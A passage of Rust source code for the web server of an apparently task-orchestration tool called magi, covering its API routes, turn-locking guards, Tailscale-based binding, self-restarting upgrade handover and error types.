1370 .map(str::to_owned),
1371 None => persisted.map_or_else(|| self.merge.clone(), |opts| opts.merge),
1372 };
1373 LoopView {
1374 running: managed || reporting,
1375 stopping: managed && matches!(control, Some(crate::worker::Control::Stop)),
1376 parking: matches!(control, Some(crate::worker::Control::Park))
1377 && jobs.iter().any(|job| job.kind == "task"),
1378 owned: managed,
1379 repo,
1380 merge,
1381 last_error: self.lock_loop().last_error.clone(),
1382 daemon: DaemonView::of(reading),
1383 }
1384 }
1385
1386 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
1388 lock_or_recover(&self.looping)
1389 }
1390
1391 fn is_thinking(&self, id: &str) -> bool {
1393 self.talk_turns
1394 .lock()
1395 .is_ok_and(|turns| turns.live.contains(id))
1396 || self.talks.turn_held(id)
1399 || crate::chat_worker::turn_worker_active(&self.talks, id)
1400 }
1401
1402 fn is_thinking_observed(&self, id: &str) -> bool {
1405 self.talk_turns.try_lock().map_or_else(
1406 |error| matches!(error, std::sync::TryLockError::WouldBlock),
1409 |turns| turns.live.contains(id),
1410 )
1411 || self.talks.turn_held(id)
1414 || crate::consult::turn_worker_observed(&self.talks, id)
1415 }
1416
1417 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1436 self.claim_talk_turn(id, false)
1437 }
1438
1439 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
1442 self.claim_talk_turn(id, true)
1443 }
1444
1445 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
1446 let mut live = self
1447 .talk_turns
1448 .lock()
1449 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1450 if crate::chat_worker::turn_worker_active(&self.talks, id) {
1451 if queued {
1452 *live.queued.entry(id.to_owned()).or_default() += 1;
1453 }
1454 return Ok(None);
1455 }
1456 let inserted = live.live.insert(id.to_owned());
1457 let lease = if inserted {
1461 match self.talks.claim_turn(id) {
1462 Ok(Some(lease)) => Some(lease),
1463 Ok(None) => {
1464 live.live.remove(id);
1465 None
1466 }
1467 Err(e) => {
1468 live.live.remove(id);
1469 return Err(ApiError::from(e));
1470 }
1471 }
1472 } else {
1473 None
1474 };
1475 if lease.is_none() {
1476 if queued {
1477 *live.queued.entry(id.to_owned()).or_default() += 1;
1482 }
1483 return Ok(None);
1484 }
1485 Ok(Some(TalkTurnGuard {
1486 talk: id.to_owned(),
1487 turns: Arc::clone(&self.talk_turns),
1488 released: false,
1489 lease,
1490 }))
1491 }
1492
1493 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
1498 let mut live = self
1499 .talk_turns
1500 .lock()
1501 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
1502 if live.live.contains(id) || crate::chat_worker::turn_worker_active(&self.talks, id) {
1504 return Ok(TalkTurnStart::Busy);
1505 }
1506 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
1507 return Ok(TalkTurnStart::Foreign);
1508 };
1509 let talk = self.talks.get(id).map_err(ApiError::from)?;
1511 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
1512 return Ok(TalkTurnStart::Pending);
1513 }
1514 live.live.insert(id.to_owned());
1515 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
1516 talk: id.to_owned(),
1517 turns: Arc::clone(&self.talk_turns),
1518 released: false,
1519 lease: Some(lease),
1520 }))
1521 }
1522
1523 fn queued_generation(&self, id: &str) -> u64 {
1524 let live = self
1525 .talk_turns
1526 .lock()
1527 .unwrap_or_else(PoisonError::into_inner);
1528 live.queued.get(id).copied().unwrap_or(0)
1529 }
1530
1531 fn auto_upgrade_busy(&self) -> bool {
1534 #[cfg(test)]
1535 if self
1536 .lock_loop()
1537 .live
1538 .as_ref()
1539 .is_some_and(|live| live.stop.busy_now())
1540 {
1541 return true;
1542 }
1543 crate::worker::active(&self.home)
1544 .map_or(true, |jobs| jobs.iter().any(|job| job.kind != "scheduler"))
1545 || !daemon::current_work(&self.home, Timestamp::now()).is_empty()
1546 || !self
1547 .resuming
1548 .lock()
1549 .unwrap_or_else(PoisonError::into_inner)
1550 .is_empty()
1551 || !self
1552 .talk_turns
1553 .lock()
1554 .unwrap_or_else(PoisonError::into_inner)
1555 .live
1556 .is_empty()
1557 || self
1558 .talks
1559 .list()
1560 .iter()
1561 .any(|talk| self.is_thinking(&talk.id))
1562 }
1563
1564 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
1568 let mut live = self
1569 .resuming
1570 .lock()
1571 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
1572 if self
1573 .upgrade_spawned
1574 .load(std::sync::atomic::Ordering::SeqCst)
1575 {
1576 return Err(ApiError::conflict("an upgrade is in progress"));
1577 }
1578 if !live.insert(id.to_owned()) {
1579 return Err(ApiError::conflict(format!(
1580 "run {id} is already being resumed"
1581 )));
1582 }
1583 Ok(ResumeGuard {
1584 run: id.to_owned(),
1585 resuming: Arc::clone(&self.resuming),
1586 })
1587 }
1588
1589 pub fn router(self) -> Router {
1597 Arc::new(self).shared_router()
1598 }
1599
1600 fn shared_router(self: Arc<Self>) -> Router {
1601 Router::new()
1602 .route("/", get(index))
1603 .route("/app.css", get(app_css))
1604 .route("/app.js", get(app_js))
1605 .route("/api/health", get(health))
1606 .route("/api/references", post(id_links::resolve_text))
1607 .route("/api/loop", get(loop_get).post(loop_post))
1608 .route("/api/upgrade", post(upgrade_post))
1609 .route("/api/runs", get(runs_list))
1610 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
1611 .route("/api/runs/{id}/progress", get(run_progress))
1612 .route("/api/runs/{id}/core", get(run_core))
1613 .route("/api/runs/{id}/report", get(run_report))
1614 .route("/api/runs/{id}/report.json", get(run_report_json))
1615 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
1616 .route("/api/runs/{id}/seat-evidence", get(run_seat_evidence))
1617 .route("/api/runs/{id}/seat-evidence/{head}", get(run_seat_diff))
1618 .route("/api/runs/{id}/fold", post(run_fold))
1619 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
1620 .route("/api/runs/{id}/resume", post(run_resume))
1621 .route("/api/queue", get(queue_list))
1622 .route("/api/queue/page", get(queue_page))
1623 .route("/api/search", get(search_get))
1624 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
1625 .route("/api/queue/{id}/core", get(task_core))
1626 .route("/api/stats", get(stats_get))
1627 .route("/api/stats/queue", get(stats_queue))
1628 .route("/api/repos", get(repos_list))
1629 .route("/api/settings", get(settings_get))
1630 .route("/api/settings/roles", put(settings_put_roles))
1631 .route("/api/queue/{id}/hold", post(queue_hold))
1632 .route("/api/queue/{id}/reassign", post(queue_reassign))
1633 .route("/api/queue/{id}/release", post(queue_release))
1634 .route("/api/queue/{id}/priority", post(queue_priority))
1635 .route("/api/queue/{id}/urgent", post(queue_urgent))
1636 .route("/api/queue/{id}/implementers", post(queue_implementers))
1637 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
1638 .route("/api/queue/{id}/edit", post(queue_edit))
1639 .route("/api/queue/{id}/done", post(queue_done))
1640 .route("/api/decisions", get(decisions_list))
1641 .route("/api/decisions/{id}", get(decision_get))
1642 .route("/api/questions", get(questions_list))
1643 .route("/api/questions/core", get(questions_core))
1644 .route("/api/questions/origins", get(question_origins))
1645 .route("/api/questions/{id}/answer", post(question_answer))
1646 .route("/api/questions/{id}/say", post(question_say))
1647 .route("/api/questions/{id}/consult", post(question_consult))
1648 .route("/api/questions/{id}/panel", get(question_panel))
1649 .route("/api/questions/{id}/panel/index.html", get(question_panel))
1657 .route("/api/questions/{id}/panel/{name}", get(question_asset))
1658 .route("/api/questions/{id}/asset/{name}", get(question_asset))
1659 .route("/api/notifications", get(notifications_list))
1660 .route("/api/notifications/read-all", post(notifications_read_all))
1661 .route("/api/notifications/{id}/read", post(notification_read))
1662 .route(
1663 "/api/notifications/{id}/dismiss",
1664 post(notification_dismiss),
1665 )
1666 .route("/api/talks", get(talks_list).post(talk_post))
1667 .route("/api/talks/page", get(talks_page))
1668 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
1669 .route("/api/talks/{id}/core", get(talk_core))
1670 .route("/api/talks/{id}/sections", get(talk_sections))
1671 .route("/api/talks/{id}/say", post(talk_say))
1672 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
1673 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
1674 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
1675 .route("/api/talks/{id}/agent", post(talk_agent))
1676 .route("/api/talks/{id}/persona", post(talk_persona))
1677 .route("/api/talks/{id}/implementers", post(talk_implementers))
1678 .route("/api/talks/{id}/close", post(talk_close))
1679 .route("/api/talks/{id}/reopen", post(talk_reopen))
1680 .route(
1686 "/api/talks/{id}/attachments",
1687 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
1688 )
1689 .route(
1690 "/api/talks/{id}/attachments/{att}",
1691 get(talk_attachment_get),
1692 )
1693 .route("/api/talks/{id}/avatar", get(talk_avatar))
1694 .route("/avatars/operator.svg", get(operator_avatar))
1695 .route(
1696 "/api/avatar-settings",
1697 get(avatar_settings_get)
1698 .put(avatar_settings_put)
1699 .delete(avatar_settings_delete),
1700 )
1701 .route("/avatars/persona", get(settings_persona_avatar))
1702 .route("/avatars/magi", get(magi_avatar))
1703 .route(
1704 "/api/magi-icon",
1705 get(magi_icon_get)
1706 .put(magi_icon_put)
1707 .delete(magi_icon_delete),
1708 )
1709 .route("/api/events", get(events))
1710 .with_state(self)
1711 }
1712}
1713
1714#[derive(Debug)]
1720struct TalkTurnGuard {
1721 talk: String,
1722 turns: Arc<Mutex<TalkTurns>>,
1723 released: bool,
1724 lease: Option<crate::talk::TurnLease>,
1726}
1727
1728#[derive(Debug, Default)]
1735struct TalkTurns {
1736 live: HashSet<String>,
1737 queued: HashMap<String, u64>,
1738}
1739
1740enum TalkTurnStart {
1743 Claimed(TalkTurnGuard),
1744 Busy,
1745 Foreign,
1748 Pending,
1749}
1750
1751impl TalkTurnGuard {
1752 #[cfg(test)]
1753 fn owns(&self) -> bool {
1757 self.lease
1758 .as_ref()
1759 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1760 }
1761
1762 #[cfg(test)]
1763 async fn respond(
1766 &self,
1767 talk: &mut Talk,
1768 talks: &Talks,
1769 cfg: &Config,
1770 text: &str,
1771 ) -> anyhow::Result<()> {
1772 let lease = self
1773 .lease
1774 .as_ref()
1775 .context("the turn guard no longer holds its lease")?;
1776 talk::respond(lease, talk, talks, cfg, text).await
1777 }
1778
1779 fn release(mut self, live: &mut TalkTurns) {
1782 self.lease = None;
1786 live.live.remove(&self.talk);
1787 live.queued.remove(&self.talk);
1788 self.released = true;
1789 }
1790}
1791
1792impl Drop for TalkTurnGuard {
1793 fn drop(&mut self) {
1794 if self.released {
1795 return;
1796 }
1797 drop(self.lease.take());
1799 if let Ok(mut live) = self.turns.lock() {
1800 live.live.remove(&self.talk);
1801 live.queued.remove(&self.talk);
1802 }
1803 }
1804}
1805
1806struct ResumeGuard {
1808 run: String,
1809 resuming: Arc<Mutex<HashSet<String>>>,
1810}
1811
1812impl Drop for ResumeGuard {
1813 fn drop(&mut self) {
1814 if let Ok(mut live) = self.resuming.lock() {
1815 live.remove(&self.run);
1816 }
1817 }
1818}
1819
1820async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1830 const WINDOW: Duration = Duration::from_secs(10);
1831 const GAP: Duration = Duration::from_millis(250);
1832
1833 let deadline = std::time::Instant::now() + WINDOW;
1834 let mut said = false;
1835 loop {
1836 match tokio::net::TcpListener::bind(socket).await {
1837 Ok(listener) => return Ok(listener),
1838 Err(e)
1839 if e.kind() == std::io::ErrorKind::AddrInUse
1840 && std::time::Instant::now() < deadline =>
1841 {
1842 if !said {
1843 said = true;
1844 tracing::info!(
1845 "{socket} is still held - waiting up to {}s for it, \
1846 which is what a restart looks like from here",
1847 WINDOW.as_secs()
1848 );
1849 }
1850 tokio::time::sleep(GAP).await;
1851 }
1852 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1853 }
1854 }
1855}
1856
1857static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1860
1861const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1863const RESTART_PORT_ENV: &str = "MAGI_WEB_RESTART_PORT";
1865
1866fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1868 value.is_some_and(|v| v == "1")
1869}
1870
1871fn spawn_successor(home: &FsPath, port: u16, exe: &FsPath) -> Result<u32> {
1890 let args: Vec<String> = std::env::args().skip(1).collect();
1891 updater::log_step(
1892 home,
1893 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1894 );
1895 let log_path = home.join(WEB_LOG);
1896 let open_log = || {
1897 std::fs::create_dir_all(home)?;
1898 std::fs::OpenOptions::new()
1899 .create(true)
1900 .append(true)
1901 .open(&log_path)
1902 };
1903 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1904 Ok(pair) => (
1905 std::process::Stdio::from(pair.0),
1906 std::process::Stdio::from(pair.1),
1907 ),
1908 Err(e) => {
1909 updater::log_warn(
1910 home,
1911 &format!(
1912 "could not open {}: {e}; the successor logs nowhere",
1913 log_path.display()
1914 ),
1915 );
1916 (std::process::Stdio::null(), std::process::Stdio::null())
1917 }
1918 };
1919
1920 let mut cmd = std::process::Command::new(exe);
1921 cmd.env_remove(RESUME_LOOP_ENV);
1922 cmd.env(RESTART_PORT_ENV, port.to_string());
1923 cmd.args(&args)
1924 .stdin(std::process::Stdio::null())
1925 .stdout(out)
1926 .stderr(err);
1927 #[cfg(windows)]
1928 {
1929 use std::os::windows::process::CommandExt as _;
1930 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1933 }
1934 let child = cmd.spawn().context("start the successor")?;
1935 Ok(child.id())
1936}
1937
1938const WEB_LOG: &str = "web.log";
1940
1941async fn wait_for_handover(signal: &Notify) {
1945 signal.notified().await;
1946}
1947
1948pub async fn serve(opts: Opts) -> Result<()> {
1951 crate::worker::remember_current_executable()?;
1954 let executable = std::env::current_exe().context("find the installed web executable")?;
1955 let (addr, warning) = resolve_bind(&opts.bind);
1956 if let Some(warning) = warning {
1957 tracing::warn!("{warning}");
1958 }
1959
1960 report::set_color(false);
1966
1967 let repo = normalize_default_repo(opts.repo).await;
1968 let ui = Arc::new(Ui::open(repo).with_merge(opts.merge));
1969 let home = ui.home.clone();
1971 let admissions = Arc::clone(&ui.admissions);
1972 updater::reconcile_after_restart(&home);
1977 updater::log_step(
1978 &home,
1979 &format!(
1980 "web process started (version {}); handover log {}, successor output {}",
1981 env!("CARGO_PKG_VERSION"),
1982 updater::log_path(&home).display(),
1983 home.join(WEB_LOG).display()
1984 ),
1985 );
1986 updater::spawn_watchdog(home.clone());
1987 let port = if opts.port == 0 {
1995 std::env::var(RESTART_PORT_ENV)
1996 .ok()
1997 .and_then(|value| value.parse::<u16>().ok())
1998 .filter(|port| *port != 0)
1999 .unwrap_or(0)
2000 } else {
2001 opts.port
2002 };
2003 let socket = SocketAddr::new(addr, port);
2004 let listener = bind_waiting(socket).await?;
2005 let bound = listener.local_addr().context("read bound web address")?;
2006 let port = bound.port();
2007 let url = format!("http://{bound}");
2008 tracing::info!(
2009 "magi web UI on {url} - there is no authentication, so anyone who can \
2010 reach this address can file and hold tasks: the tailnet is the \
2011 security boundary"
2012 );
2013 if resume_requested(std::env::var_os(RESUME_LOOP_ENV)) && !daemon::managed(&home) {
2015 ui.start_detached_loop()
2016 .await
2017 .map_err(|e| anyhow::anyhow!(e.message))?;
2018 }
2019 if opts.open {
2020 println!("{url}");
2024 }
2025
2026 let recheck_ui = ui.clone();
2029 let mut served = tokio::spawn(axum::serve(listener, ui.shared_router()).into_future());
2030 let recheck = tokio::spawn(run_update_recheck(recheck_ui));
2031 let interrupted = async {
2032 if tokio::signal::ctrl_c().await.is_err() {
2033 std::future::pending::<()>().await;
2038 }
2039 };
2040 let handover = wait_for_handover(&HANDOVER);
2041 let outcome = tokio::select! {
2042 joined = &mut served => match joined {
2043 Ok(outcome) => outcome.context("serve the web UI"),
2044 Err(e) => Err(e).context("the task serving the web UI ended"),
2045 },
2046 () = interrupted => {
2047 recheck.abort();
2048 tracing::info!("shutting down the web UI; detached workers continue");
2049 close_admissions(&admissions).await;
2050 served.abort();
2051 let _ = served.await;
2052 Ok(())
2053 }
2054 () = handover => {
2055 recheck.abort();
2056 let successor_home = home.clone();
2057 hand_over(&home, &admissions, served, move || spawn_successor(&successor_home, port, &executable)).await
2058 }
2059 };
2060 recheck.abort();
2061 let _ = recheck.await;
2062 updater::log_step(
2063 &home,
2064 &match &outcome {
2065 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
2066 Err(e) => format!("serve: returning an error: {e:#}"),
2067 },
2068 );
2069 outcome
2070}
2071
2072async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
2093 if repo != FsPath::new(".") {
2094 return repo;
2095 }
2096 let Ok(canonical) = repo.canonicalize() else {
2097 return repo;
2098 };
2099 if git::toplevel(&canonical).await.is_ok() {
2100 return repo;
2101 }
2102 let Some(home) = dirs::home_dir() else {
2103 return repo;
2104 };
2105 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
2106 Some(found) => {
2107 tracing::info!(
2108 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
2109 canonical.display(),
2110 found.path.display(),
2111 found.reason,
2112 );
2113 found.path
2114 }
2115 None => repo,
2116 }
2117}
2118
2119async fn close_admissions(admissions: &tokio::sync::RwLock<bool>) {
2122 *admissions.write().await = true;
2123}
2124
2125async fn hand_over(
2128 home: &FsPath,
2129 admissions: &tokio::sync::RwLock<bool>,
2130 served: tokio::task::JoinHandle<std::io::Result<()>>,
2131 successor: impl FnOnce() -> Result<u32>,
2132) -> Result<()> {
2133 close_admissions(admissions).await;
2134 if let Some(mut progress) = updater::read_progress(home) {
2135 progress.advance(updater::Stage::Restarting);
2136 progress.detail =
2137 Some("Restarting scheduler and web; active workers continue unchanged.".to_owned());
2138 updater::write_progress_logged(home, &progress);
2139 }
2140 updater::log_step(
2141 home,
2142 "restarting scheduler without parking execution workers",
2143 );
2144 let scheduler = daemon::restart_detached(home).await;
2145 if let Err(error) = &scheduler {
2146 let _ = updater::fail_progress(home, &format!("restart scheduler: {error:#}"));
2147 updater::log_warn(
2148 home,
2149 &format!("scheduler restart failed; restoring the web UI: {error:#}"),
2150 );
2151 }
2152 updater::log_step(home, "releasing the web listener");
2153 served.abort();
2154 let _ = served.await;
2155 updater::log_step(home, "web listener released; starting the successor");
2156 match successor() {
2157 Ok(pid) => {
2158 updater::log_step(home, &format!("successor started, pid {pid}"));
2159 scheduler
2160 }
2161 Err(e) => {
2162 let _ = updater::fail_progress(home, &format!("start web successor: {e:#}"));
2163 Err(e)
2164 }
2165 }
2166}
2167
2168pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
2174 match bind {
2175 Bind::Addr(addr) => (*addr, None),
2176 Bind::Auto => match tailscale_ip() {
2177 Ok(ip) => (IpAddr::V4(ip), None),
2178 Err(why) => (
2179 IpAddr::V4(Ipv4Addr::LOCALHOST),
2180 Some(format!(
2181 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
2182 local-only and a phone cannot reach it; start Tailscale \
2183 or pass --bind <addr>"
2184 )),
2185 ),
2186 },
2187 }
2188}
2189
2190fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
2198 let out = std::process::Command::new("tailscale")
2199 .args(["ip", "-4"])
2200 .quiet()
2201 .output()
2202 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
2203 if !out.status.success() {
2204 let why = String::from_utf8_lossy(&out.stderr);
2205 let why = why.trim();
2206 return Err(format!(
2207 "`tailscale ip -4` failed ({}){}",
2208 out.status,
2209 if why.is_empty() {
2210 String::new()
2211 } else {
2212 format!(": {why}")
2213 }
2214 ));
2215 }
2216 String::from_utf8_lossy(&out.stdout)
2217 .lines()
2218 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
2219 .find(is_tailnet)
2220 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
2221}
2222
2223fn is_tailnet(ip: &Ipv4Addr) -> bool {
2225 let o = ip.octets();
2226 o[0] == 100 && (64..=127).contains(&o[1])
2227}
2228
2229type ApiResult<T> = std::result::Result<T, ApiError>;
2233
2234#[derive(Debug)]
2236struct ApiError {
2237 status: StatusCode,
2238 message: String,
2239 text_reason: Option<crate::question_delivery::UnavailableReason>,
2240}
2241
2242impl ApiError {
2243 fn bad_request(message: impl Into<String>) -> Self {
2245 Self {
2246 text_reason: None,
2247 status: StatusCode::BAD_REQUEST,
2248 message: message.into(),
2249 }
2250 }
2251
2252 fn not_found(message: impl Into<String>) -> Self {
2254 Self {
2255 text_reason: None,
2256 status: StatusCode::NOT_FOUND,
2257 message: message.into(),
2258 }
2259 }
2260
2261 fn with_status(mut self, status: StatusCode) -> Self {
2264 self.status = status;
2265 self
2266 }
2267
2268 fn bad_request_from(e: anyhow::Error) -> Self {
2272 Self::bad_request(format!("{e:#}"))
2273 }
2274
2275 fn conflict(message: impl Into<String>) -> Self {
2276 Self {
2277 text_reason: None,
2278 status: StatusCode::CONFLICT,
2279 message: message.into(),
2280 }
2281 }
2282
2283 fn internal(message: impl Into<String>) -> Self {
2285 Self {
2286 text_reason: None,
2287 status: StatusCode::INTERNAL_SERVER_ERROR,
2288 message: message.into(),
2289 }
2290 }
2291}
2292
2293impl From<anyhow::Error> for ApiError {
2294 fn from(e: anyhow::Error) -> Self {
2299 Self::internal(format!("{e:#}"))
2300 }
2301}
2302
2303impl IntoResponse for ApiError {
2304 fn into_response(self) -> Response {
2305 let mut body = serde_json::json!({ "error": self.message });
2306 if let Some(reason) = self.text_reason {
2307 body["code"] = serde_json::json!("question_text_unavailable");
2308 body["reason"] = serde_json::json!(reason);
2309 }
2310 (self.status, Json(body)).into_response()
2311 }
2312}
2313
2314async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
2323where
2324 T: Send + 'static,
2325{
2326 #[cfg(test)]
2327 let job = request_cost::carry(job);
2328 match tokio::task::spawn_blocking(job).await {
2329 Ok(result) => result,
2330 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
2331 }
2332}
2333
2334async fn bulk_blocking<T>(
2337 slots: Arc<tokio::sync::Semaphore>,
2338 job: impl FnOnce() -> ApiResult<T> + Send + 'static,
2339) -> ApiResult<T>
2340where
2341 T: Send + 'static,
2342{
2343 let permit = slots
2344 .acquire_owned()
2345 .await
2346 .map_err(|_| ApiError::internal("Bulk reader stopped"))?;
2347 let (send, receive) = tokio::sync::oneshot::channel();
2348 #[cfg(test)]
2349 let job = request_cost::carry(job);
2350 let runtime = tokio::runtime::Handle::current();
2351 std::thread::Builder::new()
2352 .name("web-bulk".into())
2353 .spawn(move || {
2354 let _permit = permit;
2355 let _runtime = runtime.enter();
2357 let _ = send.send(job());
2358 })
2359 .map_err(|error| ApiError::internal(format!("start bulk reader: {error}")))?;
2360 receive
2361 .await
2362 .map_err(|_| ApiError::internal("Bulk reader failed"))?
2363}
2364
2365const ASSET_CACHE: &str = "no-cache, must-revalidate";
2383
2384fn asset_etag() -> &'static str {
2391 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
2392 format!(
2393 "\"{}-{}\"",
2394 env!("CARGO_PKG_VERSION"),
2395 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
2400 )
2401 });
2402 &TAG
2403}
2404
2405fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
2407 [
2408 (header::CONTENT_TYPE, mime),
2409 (header::CACHE_CONTROL, ASSET_CACHE),
2410 (header::ETAG, asset_etag()),
2411 ]
2412}
2413
2414fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
2422 let tag = asset_etag();
2423 let known = headers
2424 .get(header::IF_NONE_MATCH)
2425 .and_then(|v| v.to_str().ok())
2426 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
2430 if known {
2431 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
2432 }
2433 (asset_headers(mime), body).into_response()
2434}
2435
2436async fn index(headers: header::HeaderMap) -> Response {
2437 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
2438}
2439
2440async fn app_css(headers: header::HeaderMap) -> Response {
2441 asset(&headers, "text/css; charset=utf-8", APP_CSS)
2442}
2443
2444async fn app_js(headers: header::HeaderMap) -> Response {
2445 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
2446}
2447
2448#[derive(Debug, Serialize)]
2450struct HealthView {
2451 version: &'static str,
2452 home: String,
2453 queue_rev: u64,
2454 runs_rev: u64,
2455 questions_rev: u64,
2467 talks_rev: u64,
2469 notifications_rev: u64,
2471 notifications_unread: usize,
2474 loop_rev: u64,
2479 runs_unreadable: usize,
2487 disk: Option<serde_json::Value>,
2495 questions_open: usize,
2501 questions_needs_owner: usize,
2511 daemon: DaemonView,
2512 #[serde(rename = "loop")]
2518 looping: LoopView,
2519 update: UpdateView,
2526 upgrade: Option<UpgradeProgressView>,
2530 jobs: Vec<WorkerView>,
2533 upgrade_request_error: Option<UpgradeRequestFailure>,
2534}
2535
2536#[derive(Debug, Serialize)]
2539struct WorkerView {
2540 id: String,
2541 kind: String,
2542 key: String,
2543 pid: Option<u32>,
2544 status: crate::worker::Status,
2545 generation: String,
2546 version: Option<String>,
2547 queue_owned: bool,
2548}
2549
2550impl From<crate::worker::Job> for WorkerView {
2551 fn from(job: crate::worker::Job) -> Self {
2552 let queue_owned = job.kind == "task"
2553 && job
2554 .payload
2555 .get("standalone")
2556 .and_then(serde_json::Value::as_bool)
2557 != Some(true);
2558 Self {
2559 id: job.id,
2560 kind: job.kind,
2561 key: job.key,
2562 pid: job.pid,
2563 status: job.status,
2564 generation: job.generation,
2565 version: job.version,
2566 queue_owned,
2567 }
2568 }
2569}
2570
2571#[derive(Debug, Clone, Serialize)]
2578struct UpdateView {
2579 available: bool,
2581 to: Option<String>,
2583}
2584
2585#[derive(Debug, Serialize)]
2587struct UpgradeProgressView {
2588 trigger: updater::UpgradeTrigger,
2589 stage: updater::Stage,
2590 from: String,
2591 to: Option<String>,
2592 waiting_on: Option<String>,
2595 started_at: Timestamp,
2596 updated_at: Timestamp,
2597 detail: Option<String>,
2598 stuck_for_secs: Option<i64>,
2601 stuck_kind: Option<updater::StallKind>,
2604 handover_alive: bool,
2607}
2608
2609fn should_spawn_recheck(cfg: &Update) -> bool {
2616 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2617}
2618
2619fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2631 if progress.is_some_and(|p| !p.stage.terminal()) {
2632 return false;
2633 }
2634 checker.should_check()
2635}
2636
2637fn recheck_poll_period(cfg: &Update) -> Duration {
2650 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2651}
2652
2653#[derive(Debug, PartialEq, Eq)]
2654enum AutoUpgradeDecision {
2655 Skip(&'static str),
2656 Wait,
2657 Trigger,
2658}
2659
2660fn auto_upgrade_decision(
2661 cfg: &Update,
2662 disabled: bool,
2663 in_motion: bool,
2664 busy: bool,
2665 tag: &str,
2666 failed: Option<&str>,
2667) -> AutoUpgradeDecision {
2668 if !cfg.auto_restart || cfg.mode == UpdateMode::Off || disabled {
2669 AutoUpgradeDecision::Skip("disabled")
2670 } else if in_motion {
2671 AutoUpgradeDecision::Skip("upgrade already in progress")
2672 } else if failed == Some(tag) {
2673 AutoUpgradeDecision::Skip("this release already failed; restart to retry")
2674 } else if busy {
2675 AutoUpgradeDecision::Wait
2676 } else {
2677 AutoUpgradeDecision::Trigger
2678 }
2679}
2680
2681async fn run_update_recheck(ui: Arc<Ui>) {
2683 loop {
2684 let cfg = match Config::discover(&ui.repo, None) {
2685 Ok((cfg, _)) => cfg,
2686 Err(e) => {
2687 updater::log_warn(
2688 &ui.home,
2689 &format!("auto-upgrade: config unavailable: {e:#}"),
2690 );
2691 tokio::time::sleep(UPDATE_RECHECK_POLL_MAX).await;
2692 continue;
2693 }
2694 };
2695 if should_spawn_recheck(&cfg.update)
2696 && let Some(checker) = updater::Checker::new(&cfg.update)
2697 {
2698 let progress = updater::read_progress(&ui.home);
2699 let mut latest = checker.cached_update();
2700 if update_recheck_due(&checker, progress.as_ref()) {
2701 match checker.newer_release().await {
2702 Ok(found) => latest = found,
2703 Err(e) => tracing::warn!("background update recheck failed: {e:#}"),
2704 }
2705 }
2706 if cfg.update.auto_restart
2707 && let Some(latest) = latest
2708 {
2709 let response =
2710 begin_upgrade(&ui, updater::UpgradeTrigger::Auto, Some(latest)).await;
2711 updater::log_step(
2712 &ui.home,
2713 &format!("auto-upgrade: request status {}", response.status()),
2714 );
2715 }
2716 }
2717 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2718 }
2719}
2720
2721fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2727 let default;
2728 let cfg = match cfg {
2729 Some(cfg) => cfg,
2730 None => {
2731 default = Config::default();
2732 &default
2733 }
2734 };
2735 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2736 match latest {
2737 Some(latest) => UpdateView {
2738 available: true,
2739 to: Some(latest.tag_name),
2740 },
2741 None => UpdateView {
2742 available: false,
